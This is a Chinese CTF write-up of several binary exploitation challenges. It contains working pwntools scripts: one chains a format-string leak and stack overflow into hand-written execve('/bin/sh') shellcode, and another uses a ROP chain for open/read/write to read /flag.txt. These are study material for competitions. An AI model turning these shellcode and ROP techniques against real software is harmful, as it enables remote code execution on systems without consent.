国赛前一天的一个国际赛,跟 N1 junior 的师傅们一起打一下。

Tic Tac Toe

全都是 gets,baby pwn

无限制的栈溢出可以随便打,溢出一下,覆盖掉 player 的那个 int 就可以 win

没写 exp,就不贴了。

RETirement Plan

存在一个对字母的检查,__ctype_b_loc 这个函数见到几次了,它返回的是指向字符属性表的指针,一般写法是 (*__ctype_b_loc())[v5[i]] & 0x100,可以保证线程安全。

题目有个无限制的 gets,还有个格式化字符串,而且没开 NX,所以可以先打印一个栈地址然后返回 main,再读入 shellcode 在栈上执行。

#!/usr/bin/env python3

from pwn import *
from sys import argv

proc = "./shellcode_patched"
context.log_level = "debug"
context.binary = proc
elf = ELF(proc, checksec=False)
libc = ELF("./libc.so.6", checksec=False)
io = remote('challenge.utctf.live',9009) if argv[1] == 'r' else process(proc)

if args.G:
    gdb.attach(io, "b *0x40063c")

payload = b"%17$pB".ljust(48, b"a") + p64(0x601051) + b"b" * 8
# payload += asm(shellcraft.sh())
payload += p64(elf.sym['main'])
io.sendlineafter(b": \n", payload)
stack_addr = int(io.recvuntil(b"Baa", drop=True).decode(), 16)
log.info(f"stack_addr => {hex(stack_addr)}")
shellcode = b"/bin/sh\x00"
shellcode += asm("""
mov rdi, r13
sub rdi, 0x120
xor rsi, rsi
xor rdx, rdx
mov al, 0x3b
syscall
""").ljust(40, b"\x90")
shellcode += p64(0x601051) + b"b" * 8 + b"c" * 8
shellcode += p64(stack_addr - 0x120)
io.sendlineafter(b": \n", shellcode)
io.interactive()

一开始的时候想用 pwntools 自带的 shellcode,但是有点长,后面部分字节会被修改掉,于是去 shell-storm 翻了翻,push rsp 执行后就会 dump,感觉也不太彳亍

所以自己手搓了一下。

另外学到了一个:

mov rbx, 0xFF978CD091969DD1
neg rbx

neg 指令可以把寄存器取反加 1,也就是用 0 减去 rbx

secbof

orw 题,比较坑的地方是题目用 socat 开的环境,然后占用了 3 4 文件描述符,以后打这种给了 dockerfile 的题本地通远程不通可以自己起一个 docker 看一下。

另一个注意的点是 open syscall 的时候 rsi/rdx 不能直接不管,rsi 是 access,rdx 是 permissions,前者是打开权限(rwx),后者只会在新创建文件时用到,所以前者不能不管(

from pwn import *
from sys import argv

proc = "./chal"
context.log_level = "debug"
context.binary = proc
elf = ELF(proc, checksec=False)
io = remote("127.0.0.1", 9000) if argv[1] == 'r' else process(proc)

if args.G:
    gdb.attach(io, "b *0x4019a3")

pop_rdi_ret = 0x000000000040204f
pop_rsi_ret = 0x000000000040a0be
pop_rdx_rbx_ret = 0x000000000048630b
pop_rax_ret = 0x0000000000450507
syscall = 0x0000000044EF59
flag = 0x4CA8E0
ans = 0x4CA900

payload = b"a" * 128 + b"b" * 8
payload += flat([pop_rdi_ret, 0, pop_rsi_ret, flag, pop_rdx_rbx_ret, 0x30, 0, elf.sym['read']])
payload += flat([pop_rdi_ret, flag, pop_rax_ret, 2, pop_rsi_ret, 4, pop_rdx_rbx_ret, 4, 4, syscall])
payload += flat([pop_rdi_ret, 5, pop_rsi_ret, ans, pop_rdx_rbx_ret, 0x30, 0, elf.sym['read']])
payload += flat([pop_rdi_ret, 1, pop_rsi_ret, ans, pop_rdx_rbx_ret, 0x30, 0, elf.sym['write']])
io.sendline(payload)
io.sendlineafter(b": ", b"/flag.txt\x00")
io.interactive()

E-Crop part 2

chrome v8,学完来打。